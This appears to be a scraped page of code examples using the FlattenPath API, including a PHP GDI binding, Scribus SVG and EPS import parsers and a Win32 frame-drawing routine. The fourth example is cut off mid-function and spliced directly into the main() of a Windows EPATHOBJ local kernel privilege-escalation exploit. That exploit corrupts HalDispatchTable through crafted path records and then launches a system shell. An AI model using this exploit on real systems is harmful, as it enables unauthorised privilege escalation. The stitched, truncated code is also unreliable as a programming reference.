Exemple #1
0
PHP_METHOD(WinGdiPath, flattenPath)
{
    wingdi_devicecontext_object *dc_obj;
    wingdi_path_object *path_obj;

    WINGDI_ERROR_HANDLING();
    if (zend_parse_parameters_none() == FAILURE)
        return;
    WINGDI_RESTORE_ERRORS();

    path_obj = zend_object_store_get_object(getThis() TSRMLS_CC);
    dc_obj = zend_object_store_get_object(path_obj->device_context TSRMLS_CC);
    RETURN_BOOL(FlattenPath(dc_obj->hdc));
}
Exemple #2
0
void ShapePlug::parseGroup(QDomNode &DOC)
{
    QString tmp = "";
    QString FillCol = "White";
    QString StrokeCol = "Black";
    QString defFillCol = "White";
    QString defStrokeCol = "Black";
    QColor stroke = Qt::black;
    QColor fill = Qt::white;
//	Qt::PenStyle Dash = Qt::SolidLine;
    Qt::PenCapStyle LineEnd = Qt::FlatCap;
    Qt::PenJoinStyle LineJoin = Qt::MiterJoin;
//	int fillStyle = 1;
    double strokewidth = 0.1;
//	bool poly = false;
    while(!DOC.isNull())
    {
        double x1, y1, x2, y2;
        StrokeCol = defStrokeCol;
        FillCol = defFillCol;
        stroke = Qt::black;
        fill = Qt::white;
        //	fillStyle = 1;
        strokewidth = 1.0;
        //	Dash = Qt::SolidLine;
        LineEnd = Qt::FlatCap;
        LineJoin = Qt::MiterJoin;
        FPointArray PoLine;
        PoLine.resize(0);
        QDomElement pg = DOC.toElement();
        QString STag = pg.tagName();
        QString style = pg.attribute( "style", "" ).simplified();
        if (style.isEmpty())
            style = pg.attribute( "svg:style", "" ).simplified();
        QStringList substyles = style.split(';', QString::SkipEmptyParts);
        for( QStringList::Iterator it = substyles.begin(); it != substyles.end(); ++it )
        {
            QStringList substyle = (*it).split(':', QString::SkipEmptyParts);
            QString command(substyle[0].trimmed());
            QString params(substyle[1].trimmed());
            if (command == "fill")
            {
                if (!((params == "foreground") || (params == "background") || (params == "fg") || (params == "bg") || (params == "none") || (params == "default") || (params == "inverse")))
                {
                    if (params == "nofill")
                        FillCol = CommonStrings::None;
                    else
                    {
                        fill.setNamedColor( params );
                        FillCol = "FromDia"+fill.name();
                        ScColor tmp;
                        tmp.fromQColor(fill);
                        tmp.setSpotColor(false);
                        tmp.setRegistrationColor(false);
                        QString fNam = m_Doc->PageColors.tryAddColor(FillCol, tmp);
                        if (fNam == FillCol)
                            importedColors.append(FillCol);
                        FillCol = fNam;
                    }
                }
            }
            else if (command == "stroke")
            {
                if (!((params == "foreground") || (params == "background") || (params == "fg") || (params == "bg") || (params == "none") || (params == "default")) || (params == "inverse"))
                {
                    stroke.setNamedColor( params );
                    StrokeCol = "FromDia"+stroke.name();
                    ScColor tmp;
                    tmp.fromQColor(stroke);
                    tmp.setSpotColor(false);
                    tmp.setRegistrationColor(false);
                    QString fNam = m_Doc->PageColors.tryAddColor(StrokeCol, tmp);
                    if (fNam == StrokeCol)
                        importedColors.append(StrokeCol);
                    StrokeCol = fNam;
                }
            }
            else if (command == "stroke-width")
                strokewidth = ScCLocale::toDoubleC(params);
            else if( command == "stroke-linejoin" )
            {
                if( params == "miter" )
                    LineJoin = Qt::MiterJoin;
                else if( params == "round" )
                    LineJoin = Qt::RoundJoin;
                else if( params == "bevel" )
                    LineJoin = Qt::BevelJoin;
            }
            else if( command == "stroke-linecap" )
            {
                if( params == "butt" )
                    LineEnd = Qt::FlatCap;
                else if( params == "round" )
                    LineEnd = Qt::RoundCap;
                else if( params == "square" )
                    LineEnd = Qt::SquareCap;
            }
        }
        if (STag == "svg:line")
        {
            x1 = ScCLocale::toDoubleC(pg.attribute("x1")) * Conversion;
            y1 = ScCLocale::toDoubleC(pg.attribute("y1")) * Conversion;
            x2 = ScCLocale::toDoubleC(pg.attribute("x2")) * Conversion;
            y2 = ScCLocale::toDoubleC(pg.attribute("y2")) * Conversion;
            PoLine.addPoint(x1, y1);
            PoLine.addPoint(x1, y1);
            PoLine.addPoint(x2, y2);
            PoLine.addPoint(x2, y2);
            int z = m_Doc->itemAdd(PageItem::PolyLine, PageItem::Unspecified, baseX, baseY, 10, 10, strokewidth, CommonStrings::None, StrokeCol);
            m_Doc->Items->at(z)->PoLine = PoLine.copy();
            finishItem(m_Doc->Items->at(z));
        }
        else if (STag == "svg:rect")
        {
            x1 = ScCLocale::toDoubleC(pg.attribute("x")) * Conversion;
            y1 = ScCLocale::toDoubleC(pg.attribute("y")) * Conversion;
            x2 = ScCLocale::toDoubleC(pg.attribute("width")) * Conversion;
            y2 = ScCLocale::toDoubleC(pg.attribute("height")) * Conversion;
            int z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Rectangle, baseX + x1, baseY + y1, x2, y2, strokewidth, FillCol, StrokeCol);
            m_Doc->Items->at(z)->setLineJoin(LineJoin);
            m_Doc->Items->at(z)->setLineEnd(LineEnd);
            finishItem(m_Doc->Items->at(z));
        }
        else if ((STag == "svg:polygon") || (STag == "svg:polyline"))
        {
            bool bFirst = true;
            double x = 0.0;
            double y = 0.0;
            QString points = pg.attribute( "points" ).simplified().replace(',', " ");
            QStringList pointList = points.split(' ', QString::SkipEmptyParts);
            FirstM = true;
            for( QStringList::Iterator it = pointList.begin(); it != pointList.end(); it++ )
            {
                x = ScCLocale::toDoubleC(*(it++));
                y = ScCLocale::toDoubleC(*it);
                if( bFirst )
                {
                    svgMoveTo(x * Conversion, y * Conversion);
                    bFirst = false;
                    WasM = true;
                }
                else
                {
                    svgLineTo(&PoLine, x * Conversion, y * Conversion);
                }
            }
            if (STag == "svg:polygon")
                svgClosePath(&PoLine);
            if (PoLine.size() < 4)
            {
                DOC = DOC.nextSibling();
                continue;
            }
            int z;
            if (STag == "svg:polygon")
                z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Unspecified, baseX, baseY, 10, 10, strokewidth, FillCol, StrokeCol);
            else
                z = m_Doc->itemAdd(PageItem::PolyLine, PageItem::Unspecified, baseX, baseY, 10, 10, strokewidth, CommonStrings::None, StrokeCol);
            m_Doc->Items->at(z)->PoLine = PoLine.copy();
            finishItem(m_Doc->Items->at(z));
        }
        else if ((STag == "svg:circle") || (STag == "svg:ellipse"))
        {
            x1 = ScCLocale::toDoubleC(pg.attribute("r")) * Conversion;
            y1 = ScCLocale::toDoubleC(pg.attribute("r")) * Conversion;
            x2 = ScCLocale::toDoubleC(pg.attribute("cx")) * Conversion - x1;
            y2 = ScCLocale::toDoubleC(pg.attribute("cy")) * Conversion - y1;
            x1 *= 2.0;
            y1 *= 2.0;
            int z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Ellipse, baseX + x1, baseY + y1, x2, y2, strokewidth, FillCol, StrokeCol);
            m_Doc->Items->at(z)->setLineJoin(LineJoin);
            m_Doc->Items->at(z)->setLineEnd(LineEnd);
            finishItem(m_Doc->Items->at(z));
        }
        else if (STag == "svg:path")
        {
            //	poly =
            parseSVG( pg.attribute( "d" ), &PoLine );
            if (PoLine.size() < 4)
            {
                DOC = DOC.nextSibling();
                continue;
            }
            int z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Unspecified, baseX, baseY, 10, 10, strokewidth, FillCol, StrokeCol);
            m_Doc->Items->at(z)->PoLine = PoLine.copy();
            finishItem(m_Doc->Items->at(z));
        }
        else if (STag == "svg:g")
        {
            int z = m_Doc->itemAdd(PageItem::Group, PageItem::Rectangle, baseX, baseX, 1, 1, 0, CommonStrings::None, CommonStrings::None);
            PageItem *neu = m_Doc->Items->at(z);
            Elements.append(neu);
            if (groupStack.count() > 0)
                groupStack.top().append(neu);
            QList<PageItem*> gElements;
            groupStack.push(gElements);
            QDomNode child = DOC.firstChild();
            parseGroup(child);
            if (gElements.count() == 0)
            {
                groupStack.pop();
                Elements.removeAll(neu);
                groupStack.top().removeAll(neu);
                Selection tmpSelection(m_Doc, false);
                tmpSelection.addItem(neu);
                m_Doc->itemSelection_DeleteItem(&tmpSelection);
            }
            else
            {
                QList<PageItem*> gElem = groupStack.pop();
                double minx =  std::numeric_limits<double>::max();
                double miny =  std::numeric_limits<double>::max();
                double maxx = -std::numeric_limits<double>::max();
                double maxy = -std::numeric_limits<double>::max();
                for (int gr = 0; gr < gElements.count(); ++gr)
                {
                    PageItem* currItem = gElem.at(gr);
                    double x1, x2, y1, y2;
                    currItem->getVisualBoundingRect(&x1, &y1, &x2, &y2);
                    minx = qMin(minx, x1);
                    miny = qMin(miny, y1);
                    maxx = qMax(maxx, x2);
                    maxy = qMax(maxy, y2);
                }
                double gx = minx;
                double gy = miny;
                double gw = maxx - minx;
                double gh = maxy - miny;
                neu->setXYPos(gx, gy, true);
                neu->setWidthHeight(gw, gh, true);
                neu->SetRectFrame();
                neu->Clip = FlattenPath(neu->PoLine, neu->Segments);
                neu->setItemName( tr("Group%1").arg(m_Doc->GroupCounter));
                neu->AutoName = false;
                neu->gXpos = neu->xPos() - gx;
                neu->gYpos = neu->yPos() - gy;
                neu->groupWidth = gw;
                neu->groupHeight = gh;
                for (int gr = 0; gr < gElem.count(); ++gr)
                {
                    PageItem* currItem = gElem.at(gr);
                    currItem->gXpos = currItem->xPos() - gx;
                    currItem->gYpos = currItem->yPos() - gy;
                    currItem->gWidth = gw;
                    currItem->gHeight = gh;
                    currItem->Parent = neu;
                    neu->groupItemList.append(currItem);
                    m_Doc->Items->removeAll(currItem);
                    Elements.removeAll(currItem);
                }
                neu->setRedrawBounding();
                neu->setTextFlowMode(PageItem::TextFlowDisabled);
                m_Doc->GroupCounter++;
            }
        }
        DOC = DOC.nextSibling();
    }
}
Exemple #3
0
HRGN DrawChromeFrame(HDC hdc, RECT *pRect, COLORREF clrBorder, COLORREF clrBack)
{
    HBRUSH hBackBrush = NULL;
    HBRUSH hBorderBrush;
    HRGN hRgn;

    hBorderBrush = CreateSolidBrush(clrBorder);
    hBackBrush = CreateSolidBrush (clrBack);

    POINT lpts[4], rpts[4];
    int spread, eigth, sixth, quarter;
    int width = pRect->right - pRect->left;
    int height = pRect->bottom - pRect->top;

    if (1){//bottom
        spread = ((float)height) * 2/3;
        eigth = ((float)height) * 1/8;
        sixth = ((float)height) * 1/6;
        quarter = ((float)height) * 1/4;    
    }else{
        spread = ((float)width) * 2/3;
        eigth = ((float)width) * 1/8;
        sixth = ((float)width) * 1/6;
        quarter = ((float)width) * 1/4;
    }
    
    pRect->right += spread;
    
    lpts[3].x = pRect->left;                     lpts[3].y = pRect->bottom;
	lpts[2].x = pRect->left + sixth;             lpts[2].y = pRect->bottom - eigth;
	lpts[1].x = pRect->left + spread - quarter;  lpts[1].y = pRect->top + eigth;
	lpts[0].x = pRect->left + spread;            lpts[0].y = pRect->top;

    rpts[3].x = pRect->right - spread;           rpts[3].y = pRect->top;
	rpts[2].x = pRect->right - spread + quarter; rpts[2].y = pRect->top + eigth;
	rpts[1].x = pRect->right - sixth;            rpts[1].y = pRect->bottom - eigth;
	rpts[0].x = pRect->right;                    rpts[0].y = pRect->bottom;
    MoveToEx(hdc, lpts[3].x, lpts[3].y, NULL);
    BeginPath(hdc);
    
    PolyBezier(hdc, lpts, sizeof(lpts)/sizeof(POINT));
    
    //MoveToEx(hdc, lpts[0].x, lpts[0].y, NULL);
	LineTo(hdc, rpts[3].x, rpts[3].y);
    
    PolyBezier(hdc, rpts, sizeof(rpts)/sizeof(POINT));
    
    //MoveToEx(hdc, rpts[0].x, rpts[0].y, NULL);
    LineTo(hdc, lpts[3].x, lpts[3].y);

    CloseFigure(hdc);
    EndPath(hdc);
    //StrokePath (hdc);
    FlattenPath(hdc);
    hRgn = PathToRegion(hdc);
    FillRgn(hdc, hRgn, hBackBrush);
    FrameRgn(hdc, hRgn, hBorderBrush, 1, 1);

    DeleteObject(hBorderBrush);    
    DeleteObject(hBackBrush);

    HGDIOBJ hPen = NULL;
    HGDIOBJ hOldPen; 

    hPen = CreatePen(PS_SOLID, 2, clrBack);
    hOldPen = SelectObject(hdc, hPen);

    DrawLine(hdc, rpts[0].x, rpts[0].y, 
                  lpts[3].x, lpts[3].y);

    SelectObject(hdc, hOldPen);
    DeleteObject(hPen);

    pRect->left += spread;
    pRect->right -= spread;
    return hRgn;
}
Exemple #4
0
void EPSPlug::parseOutput(QString fn, bool eps)
{
	QString tmp, token, params, lasttoken, lastPath, currPath;
	int z, lcap, ljoin, dc, pagecount;
	int failedImages = 0;
	double dcp;
	bool fillRuleEvenOdd = true;
	PageItem* ite;
	QStack<PageItem*> groupStack;
	QStack< QList<PageItem*> > groupStackP;
	QStack<int>  gsStack;
	QStack<uint> gsStackMarks;
	QFile f(fn);
	lasttoken = "";
	pagecount = 1;
	if (f.open(QIODevice::ReadOnly))
	{
		int fProgress = 0;
		int fSize = (int) f.size();
		if (progressDialog) {
			progressDialog->setTotalSteps("GI", fSize);
			qApp->processEvents();
		}
		lastPath = "";
		currPath = "";
		LineW = 0;
		Opacity = 1;
		CurrColor = CommonStrings::None;
		JoinStyle = Qt::MiterJoin;
		CapStyle = Qt::FlatCap;
		DashPattern.clear();
		ScTextStream ts(&f);
		int line_cnt = 0;
		while (!ts.atEnd() && !cancel)
		{
			tmp = "";
			tmp = ts.readLine();
			if (progressDialog && (++line_cnt % 100 == 0)) {
				int fPos = f.pos();
				int progress = static_cast<int>(ceil(fPos / (double) fSize * 100));
				if (progress > fProgress)
				{
					progressDialog->setProgress("GI", fPos);
					qApp->processEvents();
					fProgress = progress;
				}
			}
			token = tmp.section(' ', 0, 0);
			params = tmp.section(' ', 1, -1, QString::SectionIncludeTrailingSep);
			if (lasttoken == "sp"  && !eps && token != "sp" ) //av: messes up anyway: && (!interactive))
			{
				m_Doc->addPage(pagecount);
				m_Doc->view()->addPage(pagecount, true);
				pagecount++;
			}
			if (token == "n")
			{
				Coords.resize(0);
				FirstM = true;
				WasM = false;
				ClosedPath = false;
			}
			else if (token == "m")
				WasM = true;
			else if (token == "c")
			{
				Curve(&Coords, params);
				currPath += params;
			}
			else if (token == "l")
			{
				LineTo(&Coords, params);
				currPath += params;
			}
			else if (token == "fill-winding")
			{
				fillRuleEvenOdd = false;
			}
			else if (token == "fill-evenodd")
			{
				fillRuleEvenOdd = true;
			}
			else if (token == "f")
			{
				//TODO: pattern -> Imageframe + Clip
				if (Coords.size() != 0)
				{
					if ((Elements.count() != 0) && (lastPath == currPath))
					{
						ite = Elements.last();
						ite->setFillColor(CurrColor);
						ite->setFillTransparency(1.0 - Opacity);
						lastPath = "";
					}
					else
					{
						if (ClosedPath)
							z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Unspecified, baseX, baseY, 10, 10, LineW, CurrColor, CommonStrings::None);
						else
							z = m_Doc->itemAdd(PageItem::PolyLine, PageItem::Unspecified, baseX, baseY, 10, 10, LineW, CurrColor, CommonStrings::None);
						ite = m_Doc->Items->at(z);
						ite->PoLine = Coords.copy();  //FIXME: try to avoid copy if FPointArray when properly shared
						ite->PoLine.translate(m_Doc->currentPage()->xOffset(), m_Doc->currentPage()->yOffset());
						ite->ClipEdited = true;
						ite->FrameType = 3;
						ite->fillRule = (fillRuleEvenOdd);
						FPoint wh = getMaxClipF(&ite->PoLine);
						ite->setWidthHeight(wh.x(),wh.y());
						ite->Clip = FlattenPath(ite->PoLine, ite->Segments);
						ite->setFillTransparency(1.0 - Opacity);
						ite->setTextFlowMode(PageItem::TextFlowDisabled);
						m_Doc->AdjustItemSize(ite);
						if (ite->itemType() == PageItem::Polygon)
							ite->ContourLine = ite->PoLine.copy();
						if ((groupStack.count() != 0) && (groupStackP.count() != 0))
							groupStackP.top().append(ite);
						Elements.append(ite);
						lastPath = currPath;
					}
					currPath = "";
				}
			}
			else if (token == "s")
			{
				if (Coords.size() != 0)
				{
				//	LineW = qMax(LineW, 0.01); // Set Linewidth to be a least 0.01 pts, a Stroke without a Linewidth makes no sense
					if ((Elements.count() != 0) && (lastPath == currPath))
					{
						ite = Elements.last();
						ite->setLineColor(CurrColor);
						ite->setLineWidth(LineW);
						ite->PLineEnd = CapStyle;
						ite->PLineJoin = JoinStyle;
						ite->setLineTransparency(1.0 - Opacity);
						ite->DashOffset = DashOffset;
						ite->DashValues = DashPattern;
					}
					else
					{
						if (ClosedPath)
							z = m_Doc->itemAdd(PageItem::Polygon, PageItem::Unspecified, baseX, baseY, 10, 10, LineW, CommonStrings::None, CurrColor);
						else
							z = m_Doc->itemAdd(PageItem::PolyLine, PageItem::Unspecified, baseX, baseY, 10, 10, LineW, CommonStrings::None, CurrColor);
						ite = m_Doc->Items->at(z);
						ite->PoLine = Coords.copy(); //FIXME: try to avoid copy when FPointArray is properly shared
						ite->PoLine.translate(m_Doc->currentPage()->xOffset(), m_Doc->currentPage()->yOffset());
						ite->ClipEdited = true;
						ite->FrameType = 3;
						ite->PLineEnd = CapStyle;
						ite->PLineJoin = JoinStyle;
						ite->DashOffset = DashOffset;
						ite->DashValues = DashPattern;
						FPoint wh = getMaxClipF(&ite->PoLine);
						ite->setWidthHeight(wh.x(), wh.y());
						ite->Clip = FlattenPath(ite->PoLine, ite->Segments);
						ite->setLineTransparency(1.0 - Opacity);
						m_Doc->AdjustItemSize(ite);
						if (ite->itemType() == PageItem::Polygon)
							ite->ContourLine = ite->PoLine.copy();
						ite->setLineWidth(LineW);
						ite->setTextFlowMode(PageItem::TextFlowDisabled);
						if ((groupStack.count() != 0) && (groupStackP.count() != 0))
							groupStackP.top().append(ite);
						Elements.append(ite);
					}
					lastPath = "";
					currPath = "";
				}
			}
			else if (token == "co")
				CurrColor = parseColor(params, eps);
			else if (token == "corgb")
				CurrColor = parseColor(params, eps, colorModelRGB);
			else if (token == "ci")
			{
				if (Coords.size() != 0)
				{
					QPainterPath tmpPath = Coords.toQPainterPath(true);
					tmpPath = boundingBoxRect.intersected(tmpPath);
					if ((tmpPath.boundingRect().width() != 0) && (tmpPath.boundingRect().height() != 0))
					{
						clipCoords.fromQPainterPath(tmpPath);
						z = m_Doc->itemAdd(PageItem::Group, PageItem::Rectangle, baseX, baseY, 10, 10, 0, CommonStrings::None, CommonStrings::None);
						ite = m_Doc->Items->at(z);
						ite->PoLine = clipCoords.copy();  //FIXME: try to avoid copy if FPointArray when properly shared
						ite->PoLine.translate(m_Doc->currentPage()->xOffset(), m_Doc->currentPage()->yOffset());
						ite->ClipEdited = true;
						ite->FrameType = 3;
						FPoint wh = getMaxClipF(&ite->PoLine);
						ite->setWidthHeight(wh.x(),wh.y());
						ite->Clip = FlattenPath(ite->PoLine, ite->Segments);
						m_Doc->AdjustItemSize(ite, true);
						ite->ContourLine = ite->PoLine.copy();
						ite->setItemName( tr("Group%1").arg(m_Doc->GroupCounter));
						ite->setTextFlowMode(PageItem::TextFlowDisabled);
						Elements.append(ite);
						if ((groupStack.count() != 0) && (groupStackP.count() != 0))
							groupStackP.top().append(ite);
						groupStack.push(ite);
						QList<PageItem*> gElements;
						groupStackP.push(gElements);
						gsStackMarks.push(gsStack.count());
						m_Doc->GroupCounter++;
					}
				}
				Coords   = FPointArray(0);
				lastPath = "";
				currPath = "";
			}
			else if (token == "gs")
			{
				gsStack.push(1);
			}
			else if (token == "gr")
			{
				// #6834 : self defense against incorrectly balanced save/restore
				if (gsStack.count() > 0)
					gsStack.pop();
				if ((groupStack.count() != 0) && (groupStackP.count() != 0))
				{
					if (gsStack.count() < static_cast<int>(gsStackMarks.top()))
					{
						PageItem *ite = groupStack.pop();
						QList<PageItem*> gList = groupStackP.pop();
						for (int d = 0; d < gList.count(); d++)
						{
							Elements.removeAll(gList.at(d));
						}
						m_Doc->groupObjectsToItem(ite, gList);
						gsStackMarks.pop();
					}
				}
			}
			else if (token == "w")
			{
				ScTextStream Lw(&params, QIODevice::ReadOnly);
				Lw >> LineW;
			}
			else if (token == "ld")
int main(int argc, char **argv)
{
    HANDLE               Thread;
    HDC                  Device;
    ULONG                Size;
    ULONG                PointNum;
    HMODULE              KernelHandle;
    PULONG               DispatchRedirect;
    PULONG               Interval;
    ULONG                SavedInterval;
    RTL_PROCESS_MODULES  ModuleInfo;

    LogMessage(L_INFO, "\r--------------------------------------------------\n"
                       "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
                       "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
                       "\n");

    NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
    NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
    Mutex                     = CreateMutex(NULL, FALSE, NULL);
    DispatchRedirect          = (PVOID) HalDispatchRedirect;
    Interval                  = (PULONG) ShellCode;
    SavedInterval             = Interval[0];
    TargetPid                 = GetCurrentProcessId();

    LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
    LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);

    // Lookup the address of system modules.
    NtQuerySystemInformation(SystemModuleInformation,
                             &ModuleInfo,
                             sizeof ModuleInfo,
                             NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
                        ModuleInfo.Modules[0].FullPathName,
                        ModuleInfo.Modules[0].ImageBase);

    // Lookup some system routines we require.
    KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
    HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

    // Search for a ret instruction to install in the damaged HalDispatchTable.
    HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
                                - (ULONG) KernelHandle
                                + (ULONG) ModuleInfo.Modules[0].ImageBase;

    LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);

    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof *PathRecord,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    // Now we need to create a PATHRECORD at an address that is also a valid
    // x86 instruction, because the pointer will be interpreted as a function.
    // I've created a list of candidates in DispatchRedirect.
    LogMessage(L_INFO, "Searching for an available stub address...");

    // I need to map at least two pages to guarantee the whole structure is
    // available.
    while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
                         PAGE_SIZE * 2,
                         MEM_COMMIT | MEM_RESERVE,
                         PAGE_EXECUTE_READWRITE)) {

        LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
                            *DispatchRedirect & ~(PAGE_SIZE - 1),
                            GetLastError());

        // This page is not available, try the next candidate.
        if (!*++DispatchRedirect) {
            LogMessage(L_ERROR, "No redirect candidates left, sorry!");
            return 1;
        }
    }

    LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);

    // This PATHRECORD must terminate the list and recover.
    ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
    ExploitRecordExit->next     = NULL;
    ExploitRecordExit->prev     = NULL;
    ExploitRecordExit->flags    = PD_BEGINSUBPATH;
    ExploitRecordExit->count    = 0;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);

    // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
    // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
    // be copied over to the new record. Therefore, we get
    //
    // nt!HalDispatchTable[1] = &ExploitRecordExit.
    //
    // So we make &ExploitRecordExit a valid sequence of instuctions here.
    LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);

    ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
    ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
    ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
    ExploitRecord.count         = 4;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);

    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                                   NULL,
                                   NULL,
                                   0,
                                   GENERIC_ALL,
                                   NULL));

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Take ownership of Mutex
    WaitForSingleObject(Mutex, INFINITE);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.
    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

    LogMessage(L_INFO, "Flattening curves...");

    for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);

        // Test if exploitation succeeded.
        NtQueryIntervalProfile(ProfileTotalIssues, Interval);

        // Repair any damage.
        *Interval = SavedInterval;

        EndPath(Device);
    }

    if (Finished) {
        LogMessage(L_INFO, "Success, launching shell...", Finished);
        ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
        LogMessage(L_INFO, "Press any key to exit...");
        getchar();
        ExitProcess(0);
    }

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);
    WaitForSingleObject(Thread, INFINITE);
    ReleaseDC(NULL, Device);

    // Try again...
    LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
    LogMessage(L_INFO, "Press any key to exit...");
    getchar();
    ExitProcess(1);
}